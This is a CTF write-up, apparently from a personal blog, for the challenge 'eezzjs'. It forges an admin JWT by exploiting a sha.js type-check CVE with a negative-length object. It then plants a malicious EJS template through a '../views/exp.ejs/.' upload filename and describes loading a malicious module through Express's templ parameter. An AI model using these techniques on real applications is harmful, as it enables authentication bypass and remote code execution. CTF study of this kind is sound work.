eezzjs
这篇算是这题的复现+一些nodejs小寄巧.
我说跑sha256测试的时候怎么都不行,版本对不上。。。
关于CVE
原文是这样的
Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
我们可以通过这个来伪造一个可以通过verify的jwt
1 | signJWT({ username: { name: "admin", length: -45 } }, { expiresIn: 3600 }) |
运行两次 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17nacl@nacl-arch ~/D/C/比/赛/N/e/src [1]> node app.js
[DEBUG] sha256 digest: e599f9ea804a7a5a25227462ad4e91f69b9c2867a70fca8df45dd931d1b94ec6
[system] username: admin
[system] password: e680b2f8d250923fd9
[system] secret: feead3a03520423f88
{ username: { name: 'admin', length: -45 } }
[DEBUG] sha256 digest: 674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6eyJuYW1lIjoiYWRtaW4iLCJsZW5ndGgiOi00NX0sImxlbmd0aCI6LTQ1LCJpYXQiOjE3NjIxODA4ODcsImV4cCI6MTc2MjE4NDQ4N30.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1
nacl@nacl-arch ~/D/C/比/赛/N/e/src> node app.js
[DEBUG] sha256 digest: 2c20a04440870387f75165411e92a2939cb6e23cc8eca4f04dd7c763da7269bd
[system] username: admin
[system] password: 133d95cc4bec762beb
[system] secret: 518daec642e1cc12da
{ username: { name: 'admin', length: -45 } }
[DEBUG] sha256 digest: 674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6eyJuYW1lIjoiYWRtaW4iLCJsZW5ndGgiOi00NX0sImxlbmd0aCI6LTQ1LCJpYXQiOjE3NjIxODA4OTYsImV4cCI6MTc2MjE4NDQ5Nn0.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1
nacl@nacl-arch ~/D/C/比/赛/N/e/src>
源码在这里:
1 | # hash.js |
hash里面规定了buffer怎么填,sha256里面写了怎么产生一个hash。
在做一个测试: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40// test1 buffer overflow
// sha256 has 64 bytes buffer size
console.log(require("sha.js")("sha256").update("foo").digest("hex"));
console.log(
require("sha.js")("sha256")
.update("foo" + "t".repeat(60))
.update({ length: -60 })
.digest("hex")
);
console.log(
require("sha.js")("sha256")
.update("foo" + "t".repeat(61))
.update({ length: -61 })
.digest("hex")
);
// test2 buffer underflow
console.log(require("sha.js")("sha256").update("fo").digest("hex"));
console.log(
require("sha.js")("sha256")
.update("foo" + "t".repeat(60))
.update({ length: -61 })
.digest("hex")
);
console.log(require("sha.js")("sha256").digest("hex"));
console.log(
require("sha.js")("sha256")
.update("foo" + "t".repeat(60))
.update({ length: -63 })
.digest("hex")
);
nacl@nacl-arch ~/D/C/比/赛/N/e/src> node test.js
2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae
2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae
64f4272da6cacd200950fe50de4eba30be0def8833308433819af862c337e01a
9c3aee7110b787f0fb5f81633a36392bd277ea945d44c874a9a23601aefe20cf
9c3aee7110b787f0fb5f81633a36392bd277ea945d44c874a9a23601aefe20cf
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
再做一个测试
1 | const crypto = require("crypto"); |
通过上述情况和源码分析我们发现当buffer overflow时,就算length设置成了负数,也会出现哈希乱飘的情况,原因是overflow时buffer会自动更新一次,计算当前buffer的hash并填到buffer中。这时因为有随机数的参与,buffer的内容是不确定的,而当未溢出时,buffer的头是相对确定的,填充时会把随机数的部分填充掉,导致hash算出来是一样的。
关于nodejs的一些寄巧
jwt解决后我们可以传文件了,这个绕过在之前羊城杯也有出现。
设置filename为../views/exp.ejs/.,filedate为一个恶意ejs模板即可绕过。这里检测会去文件拓展名进行判断,之后拼接到路径里。
官方的wp也蛮有意思的,大概思路是创建一个恶意模块放到node_module里然后用express的templ来实现调用恶意模块。
先来细讲下express:
当带有?templ=xxx.xxx时会把这个参数传入到view函数,源码如下: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44function View(name, options) {
var opts = options || {};
this.defaultEngine = opts.defaultEngine;
this.ext = extname(name);
this.name = name;
this.root = opts.root;
if (!this.ext && !this.defaultEngine) {
throw new Error('No default engine was specified and no extension was provided.');
}
var fileName = name;
if (!this.ext) {
// get extension from default engine name
this.ext = this.defaultEngine[0] !== '.'
? '.' + this.defaultEngine
: this.defaultEngine;
fileName += this.ext;
}
if (!opts.engines[this.ext]) {
// load engine
var mod = this.ext.slice(1)
debug('require "%s"', mod)
// default engine export
var fn = require(mod).__express
if (typeof fn !== 'function') {
throw new Error('Module "' + mod + '" does not provide a view engine.')
}
opts.engines[this.ext] = fn
}
// store loaded engine
this.engine = opts.engines[this.ext];
// lookup path
this.path = this.lookup(fileName);
}
他会寻找后缀名并加载模块,访问他的.__express属性,在ejs中,exports.__express = exports.renderFile;。这好像是用来确认模块是否为渲染模板的东西。
在官方wp中没有实现这个功能,是直接写了个constructor函数
1 | #include <stdio.h> |
这样在加载时就直接把flag复制到uploads目录下。




这里居然还有Project Diva的街机!
在日服上了w0,当时国内大版本更新没怎么打还没到w0。。。 




